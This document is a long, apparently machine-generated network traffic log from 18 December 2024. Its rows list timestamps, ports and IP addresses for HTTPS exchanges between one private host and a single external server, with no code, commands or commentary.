Dec 18, 2024 13:21:13.533993959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.534049034 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.534054995 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.534101009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.539493084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.539552927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.539556980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.539563894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.539602995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.545265913 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.545286894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.545644999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.545644999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.545664072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.545711040 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.550314903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.550333977 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.550390959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.550400972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.550482035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.680918932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.680941105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.681049109 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.681081057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.681180000 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.708631039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.708650112 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.708699942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.708724976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.708738089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.709101915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.714378119 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.714396000 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.714452028 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.714459896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.714499950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.720232964 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.720249891 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.720316887 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.720324039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.720381021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.726154089 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.726174116 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.726236105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.726243973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.726286888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.731781960 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.731798887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.731865883 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.731874943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.731924057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.736829996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.736850977 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.736885071 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.736892939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.736923933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.736941099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.742683887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.742702007 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.742754936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.742763996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.742801905 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.873626947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.873661995 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.873708010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.873729944 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.873744011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.873760939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.905602932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.905632973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.905692101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.905720949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.905740023 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.905756950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.910553932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.910573959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.910639048 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.910664082 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.910841942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.915105104 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.915124893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.915210962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.915220022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.915261984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.921173096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.921192884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.921262980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.921272039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.921340942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.925385952 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.925405025 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.925476074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.925482988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.925730944 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.929769039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.929786921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.929820061 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.929826021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.929852962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.929868937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.935447931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.935466051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.935540915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.935550928 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.935734034 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.065012932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.065038919 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.065088987 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.065123081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.065139055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.065270901 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.093327045 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.093348026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.093400955 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.093413115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.093425989 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.093460083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.099494934 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.099513054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.099574089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.099584103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.099631071 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.104379892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.104398966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.104449987 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.104458094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.104582071 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.110348940 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.110368013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.110409975 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.110418081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.110436916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.110474110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.115822077 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.115839005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.115875959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.115901947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.115917921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.115938902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.121542931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.121560097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.121611118 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.121629953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.121666908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.128254890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.128278017 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.128420115 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.128420115 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.128441095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.128534079 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.258214951 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.258243084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.258301973 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.258331060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.258347988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.258466959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.285470009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.285495996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.285542011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.285561085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.285588980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.285608053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.291228056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.291263103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.291332960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.291347027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.291501045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.296451092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.296473980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.296504974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.296518087 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.296546936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.296571016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.302275896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.302292109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.302330017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.302341938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.302369118 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.302397966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.307914019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.307930946 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.307984114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.307996988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.308044910 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.313764095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.313783884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.313823938 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.313838959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.313863993 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.313874006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.319479942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.319505930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.319556952 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.319566965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.319591045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.319607973 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.450009108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.450054884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.450088978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.450109005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.450122118 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.450148106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.477608919 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.477643013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.477701902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.477720022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.477745056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.477751970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.483545065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.483565092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.483617067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.483625889 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.483691931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.483691931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.488980055 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.488997936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.489044905 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.489053011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.489078999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.489095926 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.494378090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.494399071 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.494481087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.494488955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.494534016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.500456095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.500472069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.500540018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.500546932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.500627995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.505966902 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.505985022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.506022930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.506030083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.506057024 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.506105900 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.511599064 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.511646032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.511677027 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.511683941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.511728048 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.641803980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.641843081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.641870022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.641899109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.641915083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.641956091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.669764996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.669790983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.669845104 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.669868946 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.669883013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.669902086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.675729990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.675748110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.675797939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.675807953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.675838947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.675858021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.681649923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.681665897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.681708097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.681716919 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.681757927 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.681772947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.686567068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.686583042 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.686638117 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.686647892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.686675072 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.686691999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.692092896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.692109108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.692176104 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.692186117 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.692229986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.698028088 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.698045015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.698096991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.698106050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.698121071 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.698194981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.829415083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.829441071 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.829488993 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.829510927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.829525948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.829579115 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.857223034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.857255936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.857311010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.857322931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.857357979 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.857377052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.861852884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.861871958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.861947060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.861957073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.862021923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.867690086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.867712021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.867748976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.867758036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.867793083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.867803097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.873542070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.873559952 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.873615026 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.873624086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.873895884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.878866911 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.878931046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.878947020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.878954887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.878992081 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.879002094 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.888403893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.888448954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.888484001 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.888490915 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.888530016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.892446041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.892492056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.892541885 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.892549038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:14.892564058 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:14.892591000 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:15.021655083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:15.021683931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:15.021775007 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:15.021790981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:15.021910906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:15.049511909 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:15.049557924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:15.049597979 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:15.049612999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:15.049652100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:15.049652100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:15.054172039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:15.054218054 CET	443	49723	118.107.29.172	192.168.2.10
